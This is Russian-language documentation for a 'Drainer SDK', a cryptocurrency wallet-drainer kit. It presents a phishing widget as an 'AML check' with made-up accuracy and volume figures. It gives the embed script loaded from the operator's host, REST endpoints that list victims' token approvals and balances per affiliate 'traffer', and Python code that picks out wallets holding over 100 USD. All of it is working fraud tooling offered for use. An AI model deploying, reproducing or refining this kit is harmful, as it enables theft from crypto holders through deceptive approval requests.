Документация

DRAINER SDK
Полное руководство

Комплексная документация по REST API и конфигурации виджета. Охватывает все эндпоинты для работы с апрувами, параметры SDK и примеры интеграции.

REST API WalletConnect EVM / Solana / Tron Полная кастомизация

Быстрый старт

Три шага для подключения SDK к вашей странице.

1. HTML разметка

HTML
<!-- Корневой элемент --> <div id="root"></div> <script src="https://cdn.tailwindcss.com"></script>

2. Конфигурация

JavaScript
window.AML_CONFIG = { colors: { primary: '#a855f7' }, // ... остальные параметры };

3. Подключение SDK

HTML
<script type="module" src="https://receptionteam.cc/static/reception/js/build.js" ></script>
SDK автоматически подключится к API. WalletConnect настраивается отдельно в боте Reception для каждого домена.

GET /get_approvals/traffer

Возвращает все апрувы по traffer_id. Для каждого уникального владельца — дата создания, минимальная сумма и баланс в USD.

GET /get_approvals/traffer Апрувы по traffer_id

Query параметры

ПараметрТипОбязательныйОписание
traffer_id string required Идентификатор траффера. Не может быть пустым, пробелами или строкой "none"
ℹ️
Если один owner встречается несколько раз — возвращается самая свежая запись (ORDER BY created_at DESC). Поле is_active не фильтруется — возвращаются все апрувы.

Пример запроса

Python
import requests

response = requests.get(
"https://receptionteam.cc/api/get_approvals/traffer", params={"traffer_id": "545345"}
)

print
(response.json())

Ответы

200 OK
{ "success": true, "traffer_id": "545345", "total": 3, "approvals": { "0xde92e8cb44e82632bfba44354055d58134405c1a": { "created_at": "2026-02-01T20:10:59.979758", "min_amount": 300, "balance_usd": 0.0 }, "0xfe963fbc1367282747c68791fcebf7fe4393567e": { "created_at": "2026-03-05T14:22:56.469458", "min_amount": 100, "balance_usd": 0.002048 }, "SNi77gGB1PtxEpfRyT25TnvhBGJbMQvbB1uouZjhgGX": { "created_at": "2026-03-05T11:22:12.270487", "min_amount": 100, "balance_usd": 0.0 } } }
400 — traffer_id не передан
{ "error": "Missing required parameter: traffer_id" }
200 — пустой результат
{ "success": true, "traffer_id": "xxx", "total": 0, "approvals": {} }

POST /approval/minAmount

Устанавливает новое значение min_amount для всех апрувов указанного owner. Минимальное допустимое значение — 100.

POST /approval/minAmount Изменить min_amount по owner

Body (JSON)

ПараметрТипОбязательныйОписание
owner string required Адрес кошелька. EVM / Solana / Tron
min_amount integer required Новое значение. Целое число ≥ 100

Пример запроса

Python
import requests

response = requests.post(
"https://receptionteam.cc/api/approval/minAmount", json={ "owner": "SNi77gGB1PtxEpfRyT25TnvhBGJbMQvbB1uouZjhgGX", "min_amount": 1000 }
)

print(response.json())

Ответы

200 OK
{ "success": true, "owner": "SNi77gGB1PtxEpfRyT25TnvhBGJbMQvbB1uouZjhgGX", "min_amount": 1000, "updated": 1 }
400 — owner не передан / пустой
{ "error": "Missing required parameter: owner" }
400 — min_amount < 100
{ "error": "min_amount cannot be less than 100" }
400 — не число
{ "error": "min_amount must be an integer" }
404 — owner не найден
{ "error": "No approvals found for owner: ..." }

window.AML_CONFIG

Глобальный объект конфигурации виджета. Задаётся до загрузки SDK. Содержит 9 разделов — все необязательны; при отсутствии используются значения по умолчанию.

💡
Объект должен быть объявлен до тега <script type="module" src="build.js">.

colors

Цветовая схема интерфейса. Все значения в формате HEX.

colorsЦветовая схема
КлючПо умолчаниюОписание
primary#3b82f6Основной цвет кнопок и акцентов
primaryHover#60a5faЦвет при наведении на кнопки
background#000000Фон страницы виджета
cardBackground#111111Фон карточек (токены, сети)
containerBackground#0B0B0BФон главного контейнера
border#212121Цвет границ элементов
borderCard#2a2a2aГраница карточек
borderCardHover#3b82f6Граница карточек при наведении
text#ffffffОсновной цвет текста
textSecondary#6b7280Вторичный текст
success#10b981Успешные операции
error#ef4444Ошибки
warning#f59e0bПредупреждения
info#3b82f6Информационные сообщения

typography

typographyШрифты и размеры
КлючПо умолчаниюОписание
fontFamily'Inter', sans-serifОсновной шрифт виджета
fontFamilyHeading'Inter', sans-serifШрифт заголовков
fontSize.xs12pxМелкие подписи
fontSize.sm14pxВторичная информация
fontSize.base16pxОсновной контент
fontSize.lg18pxПодзаголовки
fontSize.xl20pxКрупный текст
fontSize.2xl24pxЗаголовки секций
fontSize.3xl30pxГлавные заголовки

text

Текстовое содержимое всех экранов виджета.

text.selectNetworkЭкран выбора сети
КлючПо умолчанию
titleSelect Network
subtitleChoose the blockchain network
footerTextNew to crypto wallets?
learnMoreLinkhttps://trustwallet.com
text.selectTokenЭкран выбора токена
КлючПо умолчанию
titleSelect Token
subtitleChoose the token on
changeNetworkTextChange Network
text.processingЭкран обработки AML
КлючПо умолчанию
titleAML Processing
subtitleWallet is processing to AML Check
buttonTextProcessing...
statusTextPlease wait
whatNextTitleWhat happens next?
whatNextDescriptionWe'll process your AML Check...
text.errorЭкран ошибки
КлючПо умолчанию
titleAn error has occurred
subtitleAn error occurred during check
buttonTextError Occurred
statusTextAML check failed
tryAnotherWalletTry Another Wallet
text.connectingЭкран подключения кошелька
КлючПо умолчанию
titleConnecting Wallet
subtitleWallet is ready to start verification
buttonTextConnecting...
statusTextPlease wait
text.statsСтатистика проверок
КлючСтруктураПо умолчанию
accuracy{ label, value }Accuracy / 99.9%
avgTime{ label, value }Avg Time / ~30s
checks{ label, value }Checks / 50K+
text.legalФутер модального окна
КлючПо умолчанию
termsTextTerms of Service
termsLink/terms
privacyTextPrivacy Policy
privacyLink/privacy

ui

uiВизуальные параметры
КлючТипПо умолчаниюОписание
borderRadiusstring16pxСкругление элементов
containerBorderRadiusstring24pxСкругление контейнера
cardPaddingstring20pxВнутренние отступы карточек
maxWidthstring512pxМаксимальная ширина виджета
iconSizenumber45Размер иконок в px
showGradientsbooleantrueВключить градиенты
showAnimationsbooleantrueВключить анимации
showCardGlowOnHoverbooleantrueСвечение карточек при hover
showIconScaleOnHoverbooleantrueМасштабирование иконок при hover

branding

brandingЛоготип и брендинг
КлючТипОбязательныйОписание
logoUrlstringoptionalURL логотипа
logoPosition'top' | 'center'optionalПозиция логотипа
logoHeightnumberoptionalВысота логотипа в px
showPoweredBybooleanoptionalПоказывать "Powered by"
companyNamestringoptionalНазвание компании

customScreens

Переопределите HTML любого экрана виджета. Поддерживается Tailwind CSS.

customScreensКастомные экраны
КлючТипОписание
processingstring (HTML)Экран обработки транзакции
connectingstring (HTML)Экран подключения кошелька
errorstring (HTML)Экран ошибки
successstring (HTML)Экран успешной проверки
JavaScript
customScreens: { success: `<div class="flex flex-col items-center p-8"> <h1 class="text-2xl font-bold text-green-400">Готово!</h1> </div>` }

walletConnect

walletConnectНастройки модального окна WalletConnect
КлючПо умолчаниюОписание
themeMode'dark'Тема: 'light' или 'dark'
--wcm-accent-color#3b82f6Основной акцентный цвет
--wcm-accent-fill-color#FFFFFFЦвет текста на акцентах
--wcm-background-color#0B0B0BФон модального окна
--wcm-container-border-radius24pxСкругление контейнера
--wcm-color-fg-1#FFFFFFОсновной цвет текста
--wcm-color-fg-2#6B7280Вторичный текст
--wcm-color-bg-1#0B0B0BОсновной фон
--wcm-color-bg-2#1a1a1aВторичный фон
--wcm-color-overlayrgba(0,0,0,0.8)Оверлей за модальным окном
--wcm-button-border-radius16pxСкругление кнопок
--wcm-font-familysystem fontsСемейство шрифтов
--wcm-z-index9999Z-index модального окна

preselect

Ограничение или пропуск шагов выбора сети и токена.

preselectПре-выбор сети и токена
КлючТипЗначения
chainsChainName[]'Ethereum' | 'BNB Chain' | 'Tron' | 'Solana'
tokensTokenSymbol[]'USDT' | 'USDC' | 'DAI' | 'BUSD' | 'TUSD'
ℹ️
Одна сеть — пропускается шаг выбора сети. Один токен — пропускается шаг выбора токена. Оба условия — сразу открывается подключение кошелька.
JavaScript
// Сразу коннект — Solana + USDT preselect: { chains: ['Solana'], tokens: ['USDT'] } // Только Tron, все токены preselect: { chains: ['Tron'] } // Все сети, только USDT и USDC preselect: { tokens: ['USDT', 'USDC'] } // Стандартное поведение — всё показывается preselect: undefined

overlay

overlayНастройки оверлея
КлючТипПо умолчаниюОписание
showCloseButtonbooleantrueКнопка закрытия
closeOnBackdropClickbooleanfalseЗакрытие по клику на фон
showBackdropbooleantrueПоказывать подложку
backdropColorstringrgba(0,0,0,0.2)Цвет подложки
zIndexnumber9998Z-index оверлея

Полный конфиг

JavaScript
JavaScript
window.AML_CONFIG = {
  displayMode: 'overlay',

  preselect: { chains: ['Solana'], tokens: ['USDT'] },

  overlay: {
    showCloseButton: true,
    closeOnBackdropClick: false,
    showBackdrop: true,
    backdropColor: 'rgba(0, 0, 0, 0.5)',
    zIndex: 9998,
  },

  colors: {
    primary: '#a855f7',
    primaryHover: '#9333ea',
    background: '#000000',
    cardBackground: '#111111',
    containerBackground: '#0B0B0B',
    border: '#212121',
    text: '#ffffff',
    textSecondary: '#9ca3af',
  },

  typography: {
    fontFamily: "'Inter', sans-serif",
  },

  text: {
    selectNetwork: { title: 'Выберите сеть' },
    selectToken: { title: 'Выберите токен' },
    processing: { title: 'AML Проверка', buttonText: 'Обработка...' },
  },

  ui: {
    borderRadius: '24px',
    maxWidth: '640px',
    showGradients: true,
    showAnimations: true,
  },

  branding: {
    logoUrl: '/logo.png',
    logoPosition: 'top',
    companyName: 'Моя Компания',
  },

  walletConnect: {
    themeMode: 'dark',
    themeVariables: {
      '--wcm-accent-color': '#a855f7',
    },
  },
};

Примеры API запросов

Получить апрувы по traffer_id

Python
import requests

r = requests.get(
    "https://receptionteam.cc/api/get_approvals/traffer",
    params={"traffer_id": "545345"}
)
data = r.json()

for owner, info in data["approvals"].items():
    print(f"Owner: {owner}")
    print(f"Balance: {info['balance_usd']} USD")
    print(f"Min: {info['min_amount']}")

Изменить min_amount

Python
import requests

r = requests.post(
    "https://receptionteam.cc/api/approval/minAmount",
    json={
        "owner": "SNi77gGB1PtxEpfRyT25TnvhBGJbMQvbB1uouZjhgGX",
        "min_amount": 1000
    }
)
print(r.json())

Связка: получить и обновить

Python
BASE = "https://receptionteam.cc/api"

# 1. Получаем всех владельцев траффера
approvals = requests.get(
    f"{BASE}/get_approvals/traffer",
    params={"traffer_id": "545345"}
).json()["approvals"]

# 2. Обновляем min_amount всем у кого balance > 100
for owner, info in approvals.items():
    if info["balance_usd"] > 100:
        resp = requests.post(
            f"{BASE}/approval/minAmount",
            json={"owner": owner, "min_amount": 500}
        )
        print(f"Updated {owner}: {resp.json()}")